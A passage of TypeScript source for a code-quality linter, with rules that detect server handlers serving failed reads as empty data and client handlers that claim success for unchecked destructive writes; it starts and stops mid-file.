would ever run on, and counted\n * again on the server side. A denominator that does not match its numerator is\n * the one thing that harness exists not to produce.\n */\nexport function isClientTarget(file: QualityFile): boolean {\n return !file.excluded && file.isClient && !file.isServer;\n}\n\n/** The server-side counterpart. */\nexport function isServerTarget(file: QualityFile): boolean {\n return !file.excluded && file.isServer;\n}\n\nexport function lineAt(content: string, index: number): number {\n let line = 1;\n for (let i = 0; i < index && i < content.length; i++) {\n if (content[i] === \"\\n\") line++;\n }\n return line;\n}\n","import type { QualityRule, QualityHit } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\n\n/**\n * QA001 — a failed read served as an empty one.\n *\n * A GET handler catches, and answers 200 with an empty payload. No caller can\n * tell \"the database was unreachable\" from \"you have nothing yet\", so the page\n * renders its empty state. In this product that showed a returning customer\n * the brand-new-user onboarding screen, and on the checklist a page that then\n * SAVED that emptiness back over real data.\n *\n * Every clause below was bought with a false positive. Removing one brings its\n * class back:\n *\n * GET only a nullable helper returning null is a contract, not a\n * swallowed failure, and `generateStaticParams` returning []\n * is the documented build-time fallback.\n * unconditional a typed catch treating Stripe `resource_missing` or Prisma\n * P2025 as \"no rows\" is correct; so is one that rethrows.\n * all-empty `{ posts, related: [] }` is best-effort enrichment beside\n * real data.\n * no marker `{ results: [], degraded: true }` already tells the caller.\n * That is partial success, not this bug.\n */\n\n/**\n * Is every value in this object literal an empty one?\n *\n * Written as a small split rather than a pair of regexes because the obvious\n * regex is wrong in a way that silently disables the rule: `/:\\s*(?!\\[\\s*\\])/`\n * backtracks — `\\s*` gives back the space, the lookahead is then tested\n * against \" []\" instead of \"[]\", succeeds, and every empty payload reads as\n * non-empty. The rule fired on nothing at all until this was replaced.\n */\nconst EMPTY_LITERAL = /^(?:\\[\\s*\\]|null|undefined|\\{\\s*\\}|0|\"\"|''|``|false)$/;\n\nfunction splitTopLevel(body: string): string[] {\n const parts: string[] = [];\n let depth = 0;\n let current = \"\";\n for (const ch of body) {\n if (ch === \"{\" || ch === \"[\" || ch === \"(\") depth++;\n else if (ch === \"}\" || ch === \"]\" || ch === \")\") depth--;\n if (ch === \",\" && depth === 0) {\n parts.push(current);\n current = \"\";\n continue;\n }\n current += ch;\n }\n if (current.trim()) parts.push(current);\n return parts;\n}\n\nfunction allValuesEmpty(payload: string): boolean {\n const inner = payload.trim().replace(/^\\{/, \"\").replace(/\\}$/, \"\");\n const entries = splitTopLevel(inner).map((e) => e.trim()).filter(Boolean);\n if (entries.length === 0) return false;\n return entries.every((entry) => {\n const colon = entry.indexOf(\":\");\n // Shorthand — `{ posts, related: [] }` — is a reference to real data.\n if (colon === -1) return false;\n return EMPTY_LITERAL.test(entry.slice(colon + 1).trim());\n });\n}\n/** Any signal that lets the caller distinguish a failure. */\nconst HAS_MARKER = /\\b(?:error|degraded|stale|partial|failed|unavailable)\\b|ok\\s*:\\s*false/i;\n\n/** The body of every catch block, brace-balanced. */\nfunction catchBlocks(code: string): { body: string; index: number }[] {\n const out: { body: string; index: number }[] = [];\n for (const m of code.matchAll(/\\bcatch\\b[^{]*\\{/g)) {\n let depth = 1;\n let i = m.index! + m[0].length;\n for (; i < code.length && depth > 0; i++) {\n if (code[i] === \"{\") depth++;\n else if (code[i] === \"}\") depth--;\n }\n out.push({ body: code.slice(m.index! + m[0].length, i), index: m.index! });\n }\n return out;\n}\n\n/**\n * Is this offset inside an exported GET/HEAD handler, or a Deno serve()?\n *\n * Brace-balanced from the handler's opening brace, so a catch in a helper\n * BELOW the handler is not attributed to it — which a \"nearest preceding\n * export\" heuristic gets wrong in every file with more than one function.\n */\nfunction inReadHandler(code: string, offset: number): boolean {\n const heads = [\n /\\bexport\\s+(?:async\\s+)?function\\s+(?:GET|HEAD)\\s*\\([^)]*\\)\\s*\\{/g,\n /\\bexport\\s+const\\s+(?:GET|HEAD)\\s*(?::[^=]+)?=\\s*(?:async\\s*)?\\([^)]*\\)\\s*=>\\s*\\{/g,\n /\\b(?:Deno\\s*\\.\\s*)?serve\\s*\\(\\s*(?:async\\s*)?\\([^)]*\\)\\s*=>\\s*\\{/g,\n ];\n for (const re of heads) {\n for (const m of code.matchAll(re)) {\n const start = m.index! + m[0].length;\n if (offset < start) continue;\n let depth = 1;\n let i = start;\n for (; i < code.length && depth > 0; i++) {\n if (code[i] === \"{\") depth++;\n else if (code[i] === \"}\") depth--;\n }\n if (offset < i) return true;\n }\n }\n return false;\n}\n\n/** Every JSON response construction in a block, whichever framework wrote it. */\nfunction jsonResponses(block: string): string[] {\n const out: string[] = [];\n const patterns = [\n /(?:NextResponse|Response)\\s*\\.\\s*json\\s*\\(([\\s\\S]{0,400}?)\\)\\s*;/g,\n /new\\s+Response\\s*\\(\\s*JSON\\s*\\.\\s*stringify\\s*\\(([\\s\\S]{0,400}?)\\)/g,\n ];\n for (const re of patterns) {\n for (const m of block.matchAll(re)) out.push(m[1]);\n }\n return out;\n}\n\nexport const silentFailedRead: QualityRule = {\n id: \"QA001\",\n title: \"A failed read is served as an empty one\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"This handler answers a read failure with a success status and an empty payload, so callers cannot tell a broken query from an account that genuinely has no data. Pages render their empty state, and anything that saves after loading can write that emptiness back.\",\n fix: \"Answer with a non-2xx status and an error, or include a marker the caller can check. Keep the empty payload only for a genuinely empty result.\",\n precisionNotes:\n \"GET/HEAD handlers only; unconditional catches only; every key in the payload must be empty; no error/degraded marker and no explicit error status. Each clause removes a class of correct code: nullable helpers, typed catches, best-effort enrichment, partial success.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n for (const file of ctx.files) {\n if (file.excluded || !file.isServer) continue;\n for (const { body, index } of catchBlocks(file.code)) {\n // A catch that inspects the error, or rethrows, is making a decision.\n if (/\\b(?:if|switch|instanceof)\\b/.test(body)) continue;\n if (/\\bthrow\\b/.test(body)) continue;\n if (!inReadHandler(file.code, index)) continue;\n\n for (const payload of jsonResponses(body)) {\n if (!allValuesEmpty(payload)) continue;\n if (HAS_MARKER.test(payload)) continue;\n // An explicit error status is the caller's signal; only a bare 2xx hides.\n if (/\\bstatus\\s*:\\s*[45]\\d\\d/.test(body)) continue;\n hits.push({ file: file.path, line: lineAt(file.content, index) });\n break;\n }\n }\n }\n return hits;\n },\n};\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type {\n CallExpression,\n Function as BabelFunction,\n IfStatement,\n Node,\n} from \"@babel/types\";\nimport { lineAt } from \"../context.js\";\nimport type { QualityFile, QualityHit, QualityRule } from \"../types.js\";\n\n/**\n * QA002 — a user action reports success it did not get.\n *\n * The click handler fires the mutation, never looks at the response, and then\n * tells the user it worked: a toast that says \"API key revoked\", a row removed\n * from the local list, a redirect to the index page. The server may have\n * answered 500. The user walks away believing a key is dead that is still live.\n *\n * THE RULE IS NOT \"the response is unchecked\". That version fires on every\n * analytics beacon and every thin API wrapper in the repo. This one fires on\n * \"a user-initiated mutation ASSERTS SUCCESS IT DID NOT GET\" — the assertion is\n * what makes it a lie rather than a shrug.\n *\n * WHY BABEL AND NOT A CHARACTER WINDOW. The unit of this defect is the\n * enclosing function: the fetch is on line 40, the toast is on line 58, and the\n * try/catch that would exonerate both is on line 32. A 900-char window around\n * the fetch answers a question nobody asked. Every structural clause below\n * (reachability from a handler, the enclosing function's returns, the shape of\n * an `if (res.ok)` with no alternate) is resolved on the AST; the token-level\n * signals are then matched over the EXACT SOURCE RANGE of that function, which\n * is the part a regex can legitimately do once the AST has drawn the box.\n *\n * Every clause was bought with a false positive found by adversarial review.\n * Removing one brings its class back:\n *\n * client only a route handler or a \"use server\" action has no user to\n * lie to; its caller is the one that reports.\n * handler-reachable a module-scope fetch, a useEffect load, and a\n * `pagehide` beacon are not user actions. The beacon in\n * particular is SUPPOSED to be fire-and-forget.\n * not a beacon an /analytics or /track POST that nobody checks is the\n * documented design of every telemetry client on earth.\n * guard-in-caller `export async function apiPost()` that RETURNS the\n * response, and a react-query `mutationFn`, both delegate\n * error handling by contract. The library owns onError.\n * no error path a try/catch, a `.catch(`, a `throw`, a `toast.error`,\n * an `assertOk()` helper, or a read of `body.error` all\n * mean somebody is handling it. Only the EMPTY-ELSE shape\n * survives this clause, and it survives on purpose: the\n * shipped revoke-key bug DID check `res.ok` and did\n * nothing with the false branch.\n * success asserted without an assertion this is a fire-and-forget write,\n * which is a different (and much weaker) finding.\n * no revalidation a `mutate()` / `refetch()` / `router.refresh()` after\n * the write is self-correcting: the wrong UI lasts until\n * the refetch lands, so the user is not left misinformed.\n * consequence gate \"profile saved\" that silently failed is an annoyance.\n * \"API key revoked\" that silently failed is a live\n * credential the owner believes is dead. Only the second\n * is worth a high-severity interrupt.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/* ------------------------------------------------------------------ *\n * Clause 8 — path exclusions layered on top of the shared gate.\n * ------------------------------------------------------------------ */\n\n/**\n * The shared gate already drops tests, stories, fixtures, vendored code,\n * migrations, seeds and scripts. These are the extra shapes this rule's review\n * turned up: generated API clients (which never handle errors, by design — the\n * generator leaves that to the caller) and browser-automation suites (which are\n * written to LOOK like an unchecked user action, because that is the thing\n * under test).\n */\nconst EXTRA_EXCLUDED_PATHS: RegExp[] = [\n /(?:^|\\/)generated\\//i,\n /(?:^|\\/)__generated__\\//i,\n /\\.gen\\./i,\n /(?:^|\\/)(?:e2e|playwright|cypress)\\//i,\n /(?:^|\\/)(?:mocks|__mocks__)\\//i,\n /\\bmsw\\b/i,\n /\\.stories\\./i,\n /(?:^|\\/)seed[^/]*$/i,\n];\n\n/**\n * Clause 1's explicit negatives.\n *\n * `file.isServer` from the shared gate already covers route handlers, edge\n * functions and `\"use server\"`, but these three filenames are named in the\n * spec because they are the ones that can carry React imports and still have\n * no user in front of them.\n */\nconst NEVER_CLIENT_PATH = /(?:^|\\/)(?:route|middleware|instrumentation)\\.[jt]sx?$/;\n\n/* ------------------------------------------------------------------ *\n * Clause 3 — the fire-and-forget population.\n * ------------------------------------------------------------------ */\n\n/**\n * URLs whose whole point is that nobody checks them.\n *\n * A telemetry POST that awaited its response and toasted on failure would be a\n * defect of its own. `keepalive: true` is the same statement in the init\n * object: the author explicitly asked the browser to let the request outlive\n * the page, which is only ever said about a request whose answer is unwanted.\n */\nconst BEACON_URL =\n /analytics|telemetry|track|metric|event|beacon|log|ping|presence|heartbeat|revalidate|impression|view/i;\n\n/* ------------------------------------------------------------------ *\n * Clause 4 — functions whose contract is \"the caller handles it\".\n * ------------------------------------------------------------------ */\n\n/** An exported `apiPost` / `requestJson` / `mutateThing` is a transport layer. */\nconst TRANSPORT_NAME = /^(?:api|http|request|fetch|post|put|patch|del|delete|call|mutate)/i;\n\n/** Properties whose enclosing library owns the error path (onError, isError). */\nconst LIBRARY_CALLBACK_KEYS = new Set([\"mutationFn\", \"queryFn\", \"action\"]);\n\n/* ------------------------------------------------------------------ *\n * Clause 5 — anything that constitutes handling the failure.\n * ------------------------------------------------------------------ */\n\n/**\n * Token-level error paths, matched over the enclosing function's source range.\n *\n * `console.error` is deliberately NOT here. It tells the developer, not the\n * user, and the user is the one being lied to — a handler that logs to the\n * console and then toasts \"Deleted\" is exactly the defect, not an exoneration.\n */\nexport const ERROR_PATH_SIGNALS: RegExp[] = [\n /\\.catch\\s*\\(/,\n /\\bthrow\\b/,\n /\\b\\w*(?:assert|ensure|throwIf|unwrap|handleRes|checkRes|raiseFor)\\w*\\s*\\(/i,\n /\\btoast\\s*\\.\\s*error\\b/,\n /\\balert\\s*\\(/,\n /\\bset[A-Za-z0-9_]*(?:Error|Message|Status|Toast)\\s*\\(/,\n // A read of a parsed body property named error/message/detail — the handler\n // is pulling the server's complaint out, so it knows failures happen.\n // `console.error` is excluded by the lookbehind rather than by omission.\n /(?<!\\bconsole)\\.(?:error|message|detail)\\b/,\n // The destructured spelling of the same read: `const { error } = await r.json()`.\n /\\{[^}]*\\b(?:error|message|detail)\\b[^}]*\\}\\s*=/,\n];\n\n/* ------------------------------------------------------------------ *\n * Clause 6 — the assertion that turns a shrug into a lie.\n * ------------------------------------------------------------------ */\n\n/** Words an app only writes to the screen when it believes the write landed. */\nconst SUCCESS_WORD = \"saved|deleted|revoked|updated|sent|removed\";\n\nconst SUCCESS_ASSERTIONS: RegExp[] = [\n /\\btoast\\s*\\.\\s*success\\s*\\(/,\n /\\bset[A-Za-z0-9_]*(?:Saved|Success|Done)\\s*\\(/,\n // A success string written to state or handed to a notifier. Built from\n // SUCCESS_WORD so the vocabulary lives in exactly one place.\n new RegExp(\n `\\\\b(?:set[A-Z]\\\\w*|toast|showToast|notify|message\\\\s*\\\\.\\\\s*\\\\w+)\\\\s*\\\\(\\\\s*[^)]{0,60}?[\"'\\`][^\"'\\`]{0,120}?(?:${SUCCESS_WORD})`,\n \"i\",\n ),\n // Navigating away IS the assertion — the user is moved on as though it worked.\n /\\brouter\\s*\\.\\s*(?:push|replace)\\s*\\(/,\n /\\bwindow\\s*\\.\\s*location\\b/,\n // react-router's spelling of the same thing. The corpus this rule targets is\n // mostly Vite, where `router.push` does not exist and `navigate(` is it.\n /\\bnavigate\\s*\\(\\s*[\"'`/]/,\n // Optimistic local mutation: the row is gone from the UI whatever the server said.\n /\\bset[A-Z]\\w*\\s*\\(\\s*\\(?\\s*\\w+\\s*\\)?\\s*=>\\s*[\\s\\S]{0,140}?\\.(?:filter|map|concat)\\s*\\(/,\n];\n\n/* ------------------------------------------------------------------ *\n * Clause 7 — self-correcting UI.\n * ------------------------------------------------------------------ */\n\n/**\n * A revalidation after the write re-reads the truth from the server, so the\n * optimistic row comes back and the toast is contradicted within a second.\n * Misleading for a moment is not the defect this rule is about.\n */\nconst REVALIDATION =\n /\\bmutate\\s*\\(|\\brefetch\\s*\\(|\\brouter\\s*\\.\\s*refresh\\s*\\(|\\binvalidateQueries\\s*\\(|\\brevalidate/;\n\n/* ------------------------------------------------------------------ *\n * The consequence gate.\n * ------------------------------------------------------------------ */\n\n/**\n * What separates \"high\" from \"not worth an interrupt\".\n *\n * The spec's closing instruction: everything that survives clauses 1-8 but has\n * no destructive consequence is `info` at most, or not reported. The rule\n * contract carries ONE severity for the whole rule and this one ships at\n * \"high\", so the only faithful implementation of \"info at most, or not\n * reported\" is: not reported. A low-stakes \"profile saved\" is dropped here.\n */\nconst CONSEQUENCE =\n /revoke|delete|remove|disable|deactivate|rotate|sign-?out|logout|session|api-?key|token|secret|member|invite|permission|2fa|mfa|password|billing|cancel/i;\n\n/** Wording that makes a `confirm()` a destructive confirm rather than a nudge. */\nconst DESTRUCTIVE_CONFIRM = /delete|remove|revoke|permanent|irreversible|cannot be undone|can't be undone|are you sure/i;\n\n/* ------------------------------------------------------------------ *\n * Small AST utilities.\n * ------------------------------------------------------------------ */\n\nexport function nodeStart(node: Node): number {\n return node.start ?? 0;\n}\n\nexport function nodeEnd(node: Node): number {\n return node.end ?? 0;\n}\n\n/** Terminal identifier of a callee: `a.b.foo()` -> \"foo\". */\nfunction calleeName(callee: Node): string | null {\n if (callee.type === \"Identifier\") return callee.name;\n if (\n (callee.type === \"MemberExpression\" || callee.type === \"OptionalMemberExpression\") &&\n callee.property.type === \"Identifier\"\n ) {\n return callee.property.name;\n }\n return null;\n}\n\n/**\n * `fetch(...)`, `window.fetch(...)` — and nothing else.\n *\n * Bound to the global rather than to `isCalleeNamed(callee, \"fetch\")`, which\n * would also match `cache.fetch(x)` and `stripe.fetch(...)`, neither of which\n * is an HTTP write with a Response to check.\n */\nexport function isFetchCallee(callee: Node): boolean {\n if (callee.type === \"Identifier\") return callee.name === \"fetch\";\n if (\n (callee.type === \"MemberExpression\" || callee.type === \"OptionalMemberExpression\") &&\n callee.property.type === \"Identifier\" &&\n callee.property.name === \"fetch\" &&\n callee.object.type === \"Identifier\"\n ) {\n return /^(?:window|globalThis|self)$/.test(callee.object.name);\n }\n return false;\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 2 — the call graph, so \"reachable from an event handler\" is a\n * fact about the file rather than a guess about the function's name.\n * ------------------------------------------------------------------ */\n\ninterface FnInfo {\n path: NodePath<BabelFunction>;\n start: number;\n end: number;\n name: string | null;\n exported: boolean;\n /** Directly the value of an onClick/onSubmit/onChange JSX attribute. */\n jsxHandler: boolean;\n /** Every identifier called anywhere inside this function, nested fns included. */\n callees: Set<string>;\n}\n\n/** A name the function can be referred to by, however it was bound. */\nfunction functionName(path: NodePath<BabelFunction>): string | null {\n const n = path.node;\n if (n.type === \"FunctionDeclaration\" && n.id) return n.id.name;\n if ((n.type === \"ObjectMethod\" || n.type === \"ClassMethod\") && n.key.type === \"Identifier\") {\n return n.key.name;\n }\n const parent = path.parentPath;\n if (!parent) return null;\n if (parent.isVariableDeclarator() && parent.node.id.type === \"Identifier\") {\n return parent.node.id.name;\n }\n if (parent.isObjectProperty() && parent.node.key.type === \"Identifier\") {\n return parent.node.key.name;\n }\n if (parent.isClassProperty() && parent.node.key.type === \"Identifier\") {\n return parent.node.key.name;\n }\n if (parent.isAssignmentExpression()) {\n const left = parent.node.left;\n if (left.type === \"Identifier\") return left.name;\n if (left.type === \"MemberExpression\" && left.property.type === \"Identifier\") {\n return left.property.name;\n }\n }\n // `const handleSave = useCallback(async () => {...}, [])` — without this the\n // single most common handler spelling in React is an anonymous function and\n // clause 2 never matches it.\n if (parent.isCallExpression() && parent.parentPath?.isVariableDeclarator()) {\n const id = parent.parentPath.node.id;\n if (id.type === \"Identifier\") return id.name;\n }\n return null;\n}\n\n/** The `onClick={submit}` spelling: a bare reference bound to a handler slot. */\nconst HANDLER_ATTRIBUTE = /^on(?:Click|Submit|Change)$/;\n\n/** `onClick={() => ...}`, `onSubmit={function () {}}`, `onChange={useCallback(fn)}`. */\nfunction isJsxHandlerValue(path: NodePath<BabelFunction>): boolean {\n let p: NodePath | null = path.parentPath;\n if (p?.isCallExpression()) p = p.parentPath; // useCallback / useMemo wrapper\n if (!p?.isJSXExpressionContainer()) return false;\n const attr = p.parentPath;\n if (!attr?.isJSXAttribute()) return false;\n const name = attr.node.name;\n return name.type === \"JSXIdentifier\" && /^on(?:Click|Submit|Change)$/.test(name.name);\n}\n\n/**\n * Contexts where an unchecked write is the correct shape.\n *\n * A useEffect load is not a user action; a setInterval poll has no user\n * standing there; and a `pagehide`/`beforeunload`/`visibilitychange` handler is\n * the textbook place to fire a request you cannot wait for — the page is being\n * torn down while it runs.\n */\nfunction inAmbientContext(path: NodePath): boolean {\n let p: NodePath | null = path.parentPath;\n while (p) {\n if (p.isCallExpression()) {\n const name = calleeName(p.node.callee);\n if (name === \"useEffect\" || name === \"useLayoutEffect\" || name === \"setInterval\") return true;\n if (name === \"addEventListener\") {\n const first = p.node.arguments[0];\n if (\n first &&\n first.type === \"StringLiteral\" &&\n /^(?:pagehide|beforeunload|visibilitychange|unload)$/.test(first.value)\n ) {\n return true;\n }\n }\n }\n p = p.parentPath;\n }\n return false;\n}\n\n/**\n * Every function in the file, plus the set reachable from an event handler.\n *\n * Reachability is transitive inside the file: `onClick={handleDelete}` ->\n * `handleDelete` -> `removeKey()` -> the fetch. A one-hop version misses the\n * extracted-helper spelling, which is most of them.\n */\nfunction collectFunctions(file: QualityFile): {\n /**\n * Every function reachable from an event handler, mapped to the names of the\n * handlers that reach it. The names feed the consequence gate: a neutrally\n * named `send()` called only from `handleRevokeKey` inherits that stake, and\n * — importantly — does NOT inherit the stake of an unrelated `handleDelete`\n * sitting elsewhere in the same file.\n */\n reachable: Map<FnInfo, Set<string>>;\n} {\n const parsed = file.parsed;\n const all: FnInfo[] = [];\n const byNode = new Map<BabelFunction, FnInfo>();\n if (!parsed) return { reachable: new Map() };\n\n // `onClick={submit}` names its handler instead of inlining it. Without this\n // pass the most idiomatic React spelling of a handler is invisible to clause\n // 2, and the rule quietly stops firing on half the market: the function is\n // called `submit`, not `handleSubmit`, and it is not lexically the attribute\n // value — only its name is.\n const handlerRefNames = new Set<string>();\n traverse(parsed.ast, {\n JSXAttribute(path) {\n const name = path.node.name;\n if (name.type !== \"JSXIdentifier\" || !HANDLER_ATTRIBUTE.test(name.name)) return;\n const value = path.node.value;\n if (!value || value.type !== \"JSXExpressionContainer\") return;\n const expr = value.expression;\n if (expr.type === \"Identifier\") handlerRefNames.add(expr.name);\n // `onClick={() => handleThing(id)}` needs nothing here — the arrow IS the\n // handler, and the call graph carries it the rest of the way.\n },\n });\n\n traverse(parsed.ast, {\n Function(path) {\n const info: FnInfo = {\n path,\n start: nodeStart(path.node),\n end: nodeEnd(path.node),\n name: functionName(path),\n exported: !!path.findParent(\n (p) => p.isExportNamedDeclaration() || p.isExportDefaultDeclaration(),\n ),\n jsxHandler: isJsxHandlerValue(path),\n callees: new Set<string>(),\n };\n all.push(info);\n byNode.set(path.node, info);\n },\n });\n\n // Attribute every call to every function that lexically contains it.\n traverse(parsed.ast, {\n CallExpression(path) {\n const name = calleeName(path.node.callee);\n if (!name) return;\n let fn = path.getFunctionParent();\n while (fn) {\n byNode.get(fn.node)?.callees.add(name);\n fn = fn.getFunctionParent();\n }\n },\n });\n\n const byName = new Map<string, FnInfo[]>();\n for (const info of all) {\n if (!info.name) continue;\n const list = byName.get(info.name);\n if (list) list.push(info);\n else byName.set(info.name, [info]);\n }\n\n const seeds = all.filter((info) => {\n const name = info.name;\n return (\n info.jsxHandler ||\n (name !== null && (/^(?:handle|on)[A-Z]/.test(name) || handlerRefNames.has(name)))\n );\n });\n\n // One walk per handler, so each reachable function knows WHICH handlers can\n // reach it rather than merely that some handler somewhere can.\n const reachable = new Map<FnInfo, Set<string>>();\n for (const seed of seeds) {\n const seen = new Set<FnInfo>([seed]);\n const queue: FnInfo[] = [seed];\n while (queue.length > 0) {\n const current = queue.pop()!;\n for (const callee of current.callees) {\n for (const target of byName.get(callee) ?? []) {\n if (seen.has(target)) continue;\n seen.add(target);\n queue.push(target);\n }\n }\n }\n for (const fn of seen) {\n const names = reachable.get(fn) ?? new Set<string>();\n if (seed.name) names.add(seed.name);\n reachable.set(fn, names);\n }\n }\n return { reachable };\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 5 — the response-status reference, and the one shape of it\n * that still counts as the defect.\n * ------------------------------------------------------------------ */\n\n/** How the Response got bound, so `.ok` references can be tied to THIS fetch. */\nfunction responseBinding(fetchPath: NodePath<CallExpression>): {\n ident: string | null;\n destructuredOk: string[];\n} {\n let p: NodePath | null = fetchPath.parentPath;\n if (p?.isAwaitExpression()) p = p.parentPath;\n\n if (p?.isVariableDeclarator()) {\n const id = p.node.id;\n if (id.type === \"Identifier\") return { ident: id.name, destructuredOk: [] };\n if (id.type === \"ObjectPattern\") {\n const names: string[] = [];\n for (const prop of id.properties) {\n if (\n prop.type === \"ObjectProperty\" &&\n prop.key.type === \"Identifier\" &&\n /^(?:ok|status|statusText)$/.test(prop.key.name)\n ) {\n names.push(prop.value.type === \"Identifier\" ? prop.value.name : prop.key.name);\n }\n }\n return { ident: null, destructuredOk: names };\n }\n }\n\n // `fetch(url, init).then(res => ...)` — the response is the callback's param.\n if (\n p &&\n (p.isMemberExpression() || p.isOptionalMemberExpression()) &&\n calleeName(p.node) === \"then\"\n ) {\n const call = p.parentPath;\n if (call?.isCallExpression()) {\n const cb = call.node.arguments[0];\n if (cb && (cb.type === \"ArrowFunctionExpression\" || cb.type === \"FunctionExpression\")) {\n const param = cb.params[0];\n if (param && param.type === \"Identifier\") {\n return { ident: param.name, destructuredOk: [] };\n }\n }\n }\n }\n return { ident: null, destructuredOk: [] };\n}\n\n/** Does this `if` test read as \"the request failed\"? */\nfunction testIsNegative(test: Node): boolean {\n if (test.type === \"UnaryExpression\" && test.operator === \"!\") return true;\n if (test.type === \"BinaryExpression\") {\n if (test.operator === \"!==\" || test.operator === \"!=\") return true;\n if (test.operator === \">=\" || test.operator === \">\") return true; // status >= 400\n if (test.operator === \"===\" || test.operator === \"==\") {\n if (test.right.type === \"BooleanLiteral\" && test.right.value === false) return true;\n if (test.left.type === \"BooleanLiteral\" && test.left.value === false) return true;\n }\n }\n if (test.type === \"LogicalExpression\") {\n return testIsNegative(test.left) || testIsNegative(test.right);\n }\n return false;\n}\n\n/**\n * The empty-else variant the spec insists on keeping.\n *\n * `if (!res.ok) return;` and `if (res.ok) { ...success... }` both TOUCH the\n * status and still leave the user with nothing: the first returns in silence,\n * the second has no alternate at all. The shipped revoke-key bug was the first\n * of those, and a naive \"does it mention .ok?\" check would have cleared it.\n *\n * Anything richer than a bare `return` in the failure branch is somebody doing\n * something about it, and is not this rule's business.\n */\nfunction isEmptyElseOkCheck(ref: NodePath): boolean {\n const ifPath = ref.findParent((p) => p.isIfStatement()) as NodePath<IfStatement> | null;\n if (!ifPath) return false;\n const stmt = ifPath.node;\n\n // The reference has to be in the TEST. One inside the body is a use of the\n // status for something else entirely, and is not a guard.\n const refStart = nodeStart(ref.node);\n if (refStart < nodeStart(stmt.test) || refStart >= nodeEnd(stmt.test)) return false;\n if (stmt.alternate) return false;\n\n if (!testIsNegative(stmt.test)) return true; // `if (res.ok) { ...success... }`\n\n const consequent = stmt.consequent;\n if (consequent.type === \"ReturnStatement\") return !consequent.argument;\n if (consequent.type === \"BlockStatement\") {\n return (\n consequent.body.length === 1 &&\n consequent.body[0].type === \"ReturnStatement\" &&\n !consequent.body[0].argument\n );\n }\n return false;\n}\n\n/**\n * Every reference to this response's ok/status/statusText inside `unit`, and\n * whether all of them are the empty-else shape.\n *\n * Returns `null` when there is no status reference at all — the plain \"never\n * looked\" case — and `false` when at least one reference does something real,\n * which exonerates the whole function.\n */\nfunction statusReferencesAreEmptyElse(\n unit: FnInfo,\n binding: { ident: string | null; destructuredOk: string[] },\n): boolean | null {\n const refs: NodePath[] = [];\n const { ident, destructuredOk } = binding;\n\n unit.path.traverse({\n MemberExpression(p) {\n if (!ident) return;\n const { object, property } = p.node;\n if (object.type !== \"Identifier\" || object.name !== ident) return;\n if (property.type !== \"Identifier\") return;\n if (!/^(?:ok|status|statusText)$/.test(property.name)) return;\n refs.push(p);\n },\n OptionalMemberExpression(p) {\n if (!ident) return;\n const { object, property } = p.node;\n if (object.type !== \"Identifier\" || object.name !== ident) return;\n if (property.type !== \"Identifier\") return;\n if (!/^(?:ok|status|statusText)$/.test(property.name)) return;\n refs.push(p);\n },\n Identifier(p) {\n if (destructuredOk.length === 0) return;\n if (!destructuredOk.includes(p.node.name)) return;\n if (!p.isReferencedIdentifier()) return;\n refs.push(p);\n },\n });\n\n if (refs.length === 0) return null;\n return refs.every((ref) => isEmptyElseOkCheck(ref));\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 4 — is the error path somebody else's job?\n * ------------------------------------------------------------------ */\n\n/** Is this fetch the body of a library callback that owns onError? */\nfunction inLibraryCallback(fetchPath: NodePath<CallExpression>): boolean {\n let p: NodePath | null = fetchPath.parentPath;\n while (p) {\n if (p.isObjectProperty()) {\n const key = p.node.key;\n if (key.type === \"Identifier\" && LIBRARY_CALLBACK_KEYS.has(key.name)) return true;\n if (key.type === \"StringLiteral\" && LIBRARY_CALLBACK_KEYS.has(key.value)) return true;\n }\n if (p.isCallExpression()) {\n const name = calleeName(p.node.callee);\n if (name === \"useSWRMutation\" || name === \"useMutation\") return true;\n }\n p = p.parentPath;\n }\n return false;\n}\n\n/**\n * Does the function hand the Response back instead of interpreting it?\n *\n * Both spellings count: the fetch sitting inside a `return`, and a later\n * `return res` / `return await res.json()` of the bound response. Either way\n * the decision is the caller's, and the caller is where the guard lives.\n */\nfunction returnsTheResponse(\n fetchPath: NodePath<CallExpression>,\n unit: FnInfo,\n unitSource: string,\n responseIdent: string | null,\n): boolean {\n let p: NodePath | null = fetchPath.parentPath;\n while (p && nodeStart(p.node) >= unit.start) {\n if (p.isReturnStatement()) return true;\n if (p.isArrowFunctionExpression() && p.node.body.type !== \"BlockStatement\") return true;\n if (p.isFunction()) break;\n p = p.parentPath;\n }\n if (responseIdent) {\n const re = new RegExp(`\\\\breturn\\\\s+(?:await\\\\s+)?${responseIdent}\\\\b`);\n if (re.test(unitSource)) return true;\n }\n return false;\n}\n\n/* ------------------------------------------------------------------ *\n * The rule.\n * ------------------------------------------------------------------ */\n\nexport const silentFailedWrite: QualityRule = {\n id: \"QA002\",\n title: \"A user action reports success it did not get\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"This handler fires a destructive write, never looks at whether it succeeded, and then tells the user it worked — a success toast, an optimistic row removal, or a redirect. When the server rejects the request the user is left believing a key was revoked, a member removed or a session ended when none of it happened.\",\n fix: \"Check the response before you assert anything: `if (!res.ok) { toast.error(...); return; }`. Only then show the success state, remove the row, or navigate away.\",\n precisionNotes:\n \"Client files only, never route handlers or server actions. The fetch must be lexically inside a function reachable from an onClick/onSubmit/onChange handler (never module scope, useEffect, setInterval or a pagehide beacon), must not be a telemetry URL or carry keepalive, and must not sit in a transport wrapper or a react-query/SWR mutationFn where the caller owns the error path. The enclosing function must contain NO error path at all — no try/catch, .catch, throw, assert helper, toast.error/alert/setError, or read of body.error — except the empty-else shape (`if (!res.ok) return;` / `if (res.ok) {...}` with no alternate), which is the shipped defect. A success assertion must follow the fetch, no revalidation may follow it, and the URL, handler name or a destructive confirm() must carry real consequence (revoke/delete/api-key/session/billing); low-stakes writes are dropped rather than reported at a severity they do not deserve.\",\n\n check(ctx) {\n const hits: QualityHit[] = [];\n\n for (const file of ctx.files) {\n // Clause 8 — shared gate first, then this rule's extra paths.\n if (file.excluded) continue;\n if (EXTRA_EXCLUDED_PATHS.some((re) => re.test(file.path))) continue;\n\n // Clause 1 — a client file with a user in front of it, and nothing else.\n if (!file.isClient) continue;\n if 